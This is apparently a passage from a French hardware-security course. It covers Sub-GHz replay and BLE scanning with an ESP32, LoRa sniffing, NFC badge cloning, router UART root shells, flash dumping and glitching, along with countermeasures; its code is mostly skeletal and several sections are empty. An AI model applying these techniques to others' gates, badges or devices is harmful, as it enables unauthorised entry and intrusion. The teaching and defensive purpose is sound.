Objectif : Créer un appareil portable capable de sniffer et rejouer des signaux Sub-GHz (télécommandes de portail, voitures anciennes) et de détecter/spammer des périphériques Bluetooth Low Energy (trackers, enceintes). C'est un successeur low-cost du Flipper Zero.

Composants :

Montage pas à pas :

  1. Alimenter l'ESP32 et le CC1101 en 3.3V depuis le régulateur intégré.
  2. Connecter le CC1101 en SPI : broches SCK, MISO, MOSI, CSN (ex: GPIO5).
  3. Si utilisation du nRF24, le connecter sur un autre CSN (ex: GPIO15) en partageant les mêmes lignes SPI.
  4. Ajouter l'écran OLED I2C sur GPIO21 (SDA) et GPIO22 (SCL).
  5. Programmer avec l'IDE Arduino ou PlatformIO en utilisant les bibliothèques ELECHOUSE_CC1101 et BLEDevice.

Code minimal pour le menu :

#include 
#include 
#include 
#include 

#define CC1101_CS 5
int scanTime = 5; // secondes pour le scan BLE

void setup() {
  Serial.begin(115200);
  ELECHOUSE_cc1101.setSpiPin(18, 19, 23, CC1101_CS);
  ELECHOUSE_cc1101.Init();
  ELECHOUSE_cc1101.setMHZ(433.92);
  BLEDevice::init("ESP32_Scanner");
  Serial.println("Multi-Radio prêt");
}

void loop() {
  if (Serial.available()) {
    char cmd = Serial.read();
    switch(cmd) {
      case '1': scanSubGHz(); break;
      case '2': replaySubGHz(); break;
      case '3': scanBLE(); break;
    }
  }
}

void scanSubGHz() {
  Serial.println("Scan Sub-GHz...");
  // Utiliser ELECHOUSE_cc1101.CheckReceiveFlag() pour capturer
}

void replaySubGHz() {
  Serial.println("Rejeu du signal...");
}

void scanBLE() {
  BLEScan* scan = BLEDevice::getScan();
  scan->setActiveScan(true);
  BLEScanResults results = scan->start(scanTime, false);
  Serial.printf("Appareils BLE trouvés : %d\n", results.getCount());
}

Contre-mesures : Les systèmes modernes utilisent des rolling codes (Sub-GHz) et les téléphones récents alertent sur les trackers inconnus.

4.7 Synthèse – Évolution 2026

Technique2015-20202026
Fault InjectionÉquipement >10k€ (ChipWhisperer Pro)Pico Glitcher <30€, iceGLITCH FPGA à 22€
RFID CloningProxmark3 (~300€), complexePN532 + ESP32 (~20€), clonage en 1 heure
USB AttacksBadUSB basique (injection commandes)ChoiceJacking (contournement OS, exfiltration <1s)
Side-ChannelLaboratoire de rechercheINA219 + ADS1115 (~15€) pour DPA basique
Détection de surveillanceAucune ou matériel dédié cherESP32 Marauder (<50€) avec AirTag Monitor
⚠️ Niveau Expert : Ces projets nécessitent une compréhension approfondie de l'électronique, de la programmation bas niveau et des protocoles. Ils peuvent endommager le matériel cible. Réalisez-les exclusivement en laboratoire isolé, sur vos propres appareils, et dans le respect des lois.

🔍 Partie 5 – Reverse Hardware Engineering

5.1 Méthodologie d'analyse d'un appareil

Appareil cible
   │
   ├─ 1. Identifier le microcontrôleur (datasheet, brochage)
   ├─ 2. Tracer les rails d'alimentation (continuité)
   ├─ 3. Repérer les points de test UART (tensions, signaux carrés)
   ├─ 4. Connecter un analyseur logique / oscilloscope
   ├─ 5. Dumper le firmware (UART, SPI, JTAG, glitch)
   └─ 6. Analyser le binaire (strings, binwalk, Ghidra)

5.2 Trouver UART debug

5.3 Dumper la flash SPI

Matériel : Analyseur logique, pompe à dessouder, lecteur SPI (ex: CH341A).

  1. Identifier la puce flash (souvent 8 broches, marquée 25xx, W25Q, MXIC).
  2. Noter les connexions : CS, SCK, MOSI, MISO, VCC, GND.
  3. Soit dessouder et lire avec un programmateur, soit sniffer les communications pendant le boot.
  4. Utiliser Sigrok avec le protocole SPI pour capturer les données.
  5. Reconstituer le firmware avec binwalk pour extraire les partitions.

5.4 Utiliser JTAG/SWD

5.5 Exemple de sniff SPI avec Python (pysigrok)

# Nécessite sigrok-cli installé
import subprocess

def capture_spi(channels="CS:SCK:MOSI:MISO", samplerate=1e6, time=10):
    cmd = f"sigrok-cli --driver fx2lafw --config samplerate={samplerate} "
    cmd += f"--channels {channels} --time {time} --output-file spi_data.sr"
    subprocess.run(cmd, shell=True)

# Puis analyser avec PulseView

Contre-mesures : Désactiver les interfaces de debug en production, chiffrer le firmware, utiliser des bootloaders signés.

📡 Partie 6 – RF Hacking avancé

6.1 Panorama des technologies RF

TechnologieFréquencesUsageOutil de hack
LoRa433/868/915 MHzIoT, capteurs longue portéeLilyGO TTGO + SX1276, rtl_433
Sub-GHz (télécommandes)315/433/868 MHzPortails, voitures (anciennes)CC1101, HackRF
NFC13.56 MHzBadges, paiementPN532, Proxmark3
RFID 125kHz125 kHzBadges anciensLecteur RFID, Arduino + résonateur
Bluetooth BLE2.4 GHzTrackers, objets connectésESP32, nRF24, Ubertooth
WiFi2.4/5 GHzRéseaux locauxESP32, Wi-Fi Pineapple
GPS1.2/1.5 GHzLocalisationRTL-SDR, GPS spoofing (HackRF)

6.2 Projet : Sniff LoRa avec SX1276 et ESP32

Objectif : Capturer des trames LoRa (non chiffrées) de capteurs environnementaux.

#include 
#include 

void setup() {
  Serial.begin(115200);
  if (!LoRa.begin(868E6)) { // Fréquence Europe
    Serial.println("Erreur LoRa");
    while(1);
  }
  LoRa.setSpreadingFactor(12);
}

void loop() {
  int packetSize = LoRa.parsePacket();
  if (packetSize) {
    while (LoRa.available()) {
      Serial.write(LoRa.read());
    }
    Serial.println();
  }
}

6.3 Projet : Replay de télécommande avec CC1101

6.4 Projet : Clonage NFC avec PN532

#include 
#include 
Adafruit_PN532 nfc(PN532_SCK, PN532_MISO, PN532_MOSI, PN532_SS);

void setup() {
  nfc.begin();
  nfc.SAMConfig();
}
void loop() {
  uint8_t uid[7]; uint8_t len;
  if (nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &len)) {
    // Lire les blocs et écrire sur un autre tag
  }
}

6.5 Contre-mesures RF

🏠 Partie 7 – IoT Exploitation

7.1 Exemples de cibles IoT

7.2 Méthodologie d'attaque sur un routeur

  1. Ouvrir le boîtier, identifier le processeur (ex: Broadcom, Qualcomm).
  2. Chercher des points de test UART (souvent 4 pads).
  3. Connecter un adaptateur USB-UART, lancer minicom pour obtenir un shell root.
  4. Dumper la flash SPI avec un programmateur (CH341A).
  5. Analyser le firmware avec binwalk, extraire le système de fichiers.
  6. Chercher des mots de passe hardcodés, des vulnérabilités connues.

7.3 Exemple : exploitation d'une caméra IP

7.4 Contre-mesures IoT

⚙️ Partie 8 – Techniques d'attaque sur PCB

8.1 Wire probing

8.2 Micro-soldering

8.3 Chip removal

8.4 Décapage de chip (decapping)

8.5 Contre-mesures

💾 Partie 9 – Firmware Extraction

9.1 Méthodes d'extraction

MéthodeDifficultéÉquipementRemarques
UART dumpFacileUSB-UART, minicomNécessite un shell ou un bootloader exposé
SPI flash readMoyenCH341A, pompe à dessouderPeut nécessiter dessoudage
JTAG/SWDMoyenST-Link, OpenOCDSi les interfaces sont actives
Glitch fault injectionExpertPico Glitcher, oscilloscopeBypasse les protections logicielles
Decap + microprobingExpertAcide, microscope, micro-sondesLaboratoire spécialisé

9.2 Exemple : extraction via UART

9.3 Exemple : lecture SPI avec CH341A

9.4 Analyse du firmware

9.5 Contre-mesures

🛡️ Partie 10 – Contre-mesures hardware (pour défenseurs)

10.1 Tableau synthétique attaque / défense

AttaqueDéfense possible
UART debugDésactiver les interfaces en production, couper les pistes, utiliser des bootloaders sans accès.
SPI flash dumpChiffrer le firmware, utiliser des puces avec lecture protégée, masquer les broches sous résine.
JTAG/SWDDésactiver les fusibles de debug, ajouter des mots de passe sur l'interface.
Voltage glitchDétecteurs de glitch (comparateurs rapides), capteurs de lumière, randomisation des horloges.
Side-channel (power)Masquage aléatoire, constant-time, bruit actif.
RF replayRolling codes, chiffrement des trames, vérification de timestamp.
Wire probingBlindage des couches, pistes enterrées, potting.

10.2 Mise en œuvre d'un détecteur de glitch simple

void EXTI0_IRQHandler(void) {
    if (__HAL_GPIO_EXTI_GET_IT(GPIO_PIN_0)) {
        // Glitch détecté : effacer les secrets, reboot
        HAL_GPIO_WritePin(LED_ALERT_GPIO_Port, LED_ALERT_Pin, SET);
        NVIC_SystemReset();
    }
}

10.3 Bonnes pratiques pour les fabricants

🧪 Exercices supplémentaires

11.1 Reverse d'un routeur

Prenez un vieux routeur, ouvrez-le, identifiez le CPU et la flash. Trouvez les points UART, connectez-vous, tentez d'obtenir un shell. Dump la flash avec CH341A.

11.2 Sniff LoRa

Avec deux modules LoRa, faites communiquer un émetteur et un récepteur. Placez un troisième module en mode sniffer (même fréquence, même spreading factor) et capturez les trames.

11.3 Clonage NFC

Avec un PN532, lisez un badge Mifare Classic (si non protégé), puis écrivez les données sur un tag vierge. Testez l'ouverture d'une porte de test.

11.4 Simulation de glitch sur STM32

Programmez un STM32 avec une vérification de mot de passe. Utilisez un Pico Glitcher pour tenter de contourner la vérification (avec un oscilloscope pour régler les paramètres).

11.5 Détection de tracker

Flachez ESP32 Marauder, activez le module AirTag Monitor. Promenez-vous avec un AirTag dans la poche et observez la détection.

⚠️ Rappel : Tous ces exercices sur du matériel personnel, en lab isolé.

🎯 Conclusion – Leçons apprises

L'électronique est le pendant physique du hacking logiciel. Maîtriser les composants, la soudure et la conception de circuits permet de créer des outils d'attaque discrets et efficaces, mais aussi de mieux se défendre. Les projets présentés ici couvrent un large spectre : de l'interception radio à l'injection de commandes USB, en passant par l'ouverture de serrures. La connaissance de ces techniques est essentielle pour les professionnels de la cybersécurité, car elle permet d'anticiper les vecteurs d'attaque réels.

La frontière entre le hardware et le software est la nouvelle ligne de front. La formation continue et la pratique en laboratoire sont les seuls moyens de rester à jour face à des adversaires de plus en plus créatifs.

Rappel éthique final : Ces techniques sont exclusivement destinées à la recherche et à la formation en environnement isolé. Toute utilisation malveillante est illégale et passible de poursuites (article 323‑1 du Code pénal). La connaissance est une arme, maniez‑la avec responsabilité.

Références et ressources (mises à jour 2025-2026)